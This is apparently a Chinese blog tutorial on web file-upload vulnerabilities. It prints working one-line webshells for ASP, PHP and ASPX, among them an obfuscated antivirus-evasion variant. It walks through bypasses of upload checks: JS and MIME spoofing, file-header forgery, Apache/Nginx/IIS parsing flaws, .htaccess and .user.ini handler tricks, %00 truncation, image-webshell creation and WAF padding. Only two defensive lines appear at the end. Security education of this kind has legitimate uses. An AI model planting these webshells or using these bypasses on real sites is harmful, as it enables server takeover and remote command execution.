WEB漏洞——文件上传
有关文件上传的知识
- 为什么文件上传存在漏洞
上传文件时,如果服务端代码未对客户端上传的文件进行严格的验证和过滤就容易造成可以上传任意文件的情況,包括上传脚本文件(asp、aspx、php、jsp等格式的文件)。
常用一句话木马
asp一句话木马:
<%execute(request(“test”))%>
php一句话木马:
<?php @eval($_POST[test]);?>
aspx一句话木马:
<%@ Page Language=“Jscript”%>
<%eval(Request.Item[“test”])%>
//免杀apsx一句话
<%@ Page Language="Jscript" Debug=true%> <% var SE=Request.Form["1"]; var SMQ="unsa",FWJVPDC="fe",PZEGHR=SMQ+FWJVPDC; function AJHB() { return SE; } function NCBRJ() { eval(AJHB(),PZEGHR); } NCBRJ() %>
- 危害
非法用户可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器。这个恶意的脚本文件,又被称为 Webshell,也可将 Webshell本称为一种网页后门Webshell本具有非常强大的功能,比如查看服务器目录、服务器中的文件,执行系统命令等。
JS检测绕过
JS检则绕过上传漏洞常见于用户选择文件上传的场景,如果上传文件的后缀不被允许,则会弹框告知,此时上传文件的数据包并没有发送到服务端,只是在客户端浏览器使用 javascript)对数据包进行检测。
三种方法绕过js检测
- 直接浏览器设置禁用JavaScript(但一般禁用了js页面很多正常的功能无法运行)
- 删除JS前端验证处的代码
- 使用BurpSuite抓包:先把php木马改成jpg后缀上传,经过前端验证之后抓到包修改回php后缀即可
文件类型(MIME)检测绕过
上传一个php文件抓包看看,看到Content-Type显示的是application/octet-stream
接着再上传一个普通的图片看看,变成了image/jpeg
如果服务端通过这个来判断文件类型,那么就可以被绕过,直接抓包修改文件类型即可
文件内容头校验
服务端通过文件内容中的文件头来判断是否是非法上传
同样可以通过抓包修改绕过
这里给出两个好记的文件头
格式 |
文件头 |
GIF |
GIF89a |
BMP | BM |
文件内容<?校验绕过
使用Javascript绕过
<script language="php">
@eval($_POST['test']);
</script>
Apache解析漏洞
在 Apache的解析顺序中,是从右到左开始解析文件后缀的,如果最右侧的扩展名不可识别,就继续往左判断,直到遇到可以解析的文件后缀为止。
例如一个文件名为test.php.aaa.bbb.ccc的文件,Apache会从ccc的位置往php的位置开始尝试解析 ,如果ccc不属于Apache能解析的后缀名,那么Apache就会尝试去解析bbb,这样一直往前尝试,直到遇到一个能解析的拓展名为止
Nginx解析漏洞
这个漏洞造成的原因只要是php配置文件中的选项cgi.fi:x_pathinfo
例如/1.txt/1.php 由于1.php是不存在的,就会把1.txt文件当成php文件来执行。
IIS 5.X~6.X解析漏洞
当建立.asp .asa的文件夹时,其目录下的所有文件都会当作asp 文件来解析。
当文件位 .asp;1.jpg时,iis同样会把他当作ASP脚本来执行。
黑名单绕过——.htaccess文件
创建一个名为.htaccess的文件,写入以下代码,上传到目标网站
SetHandler application/x-httpd-php //方法一:将所有文件解析成php
AddType application/x-httpd-php .png //方法二:将jpg文件解析成php
接着将一句话木马以图片的形式保存,在上传到目标网站,图片将会以php执行
黑名单绕过——.uer.ini文件
.uer,ini跟.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache
首先,构造一个.user.ini文件,内容如下:
GIF89a
auto_prepend_file=test.jpg //指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。
上传到目标网站。接着将一句话木马以图片的形式保存,在上传到目标网站,图片将会以php执行
文件截断%00绕过
截断原理:由于00代表结束符,所以会把00后面的所有字符删除。
截断条件:PHP版本小于5.3.4,PHP的 magic_quotes_gpc为OFF状态。
修改参数 test.php%00.jpg,文件被保存到服务器时,%00会把“jpg"和按时间生成的图片文件名全部截断,那么文件名就剩下test.php,因此成功上传了 Webshell
大小写/双写绕过
没啥好写如题
图片马
将php文件和jpg文件放一起,打开cmd输入
copy test.php /b + 2.jpg /a 2.png
或者直接用记事本打开jpg图片,在里面输入一句话木马,即可做出图片马
但是图片马不能直接利用,需要通过文件包含来利用
数据溢出绕过waf
在网上还看到了一个有意思的绕过方法,垃圾数据缓冲溢出
一般文件上传的时候会有这样的格式,就在filename的前面塞大量的垃圾数据,绕过waf,注意垃圾数据后面要加一个分号
windows文件命名规范
后面看了一眼服务器 是windows的,尝试用windows文件命名规范来绕过,
众所周知,win的文件名是不能包含以下字符的
文件上传漏洞防御
- 通过白名单的方式判断文件是否合法
- 对上传后的文件进行重命名,例如rand(10,99).jpg
本文来自博客园,作者:1_Ry,转载请注明原文链接:https://www.cnblogs.com/1-Ry/p/15257023.html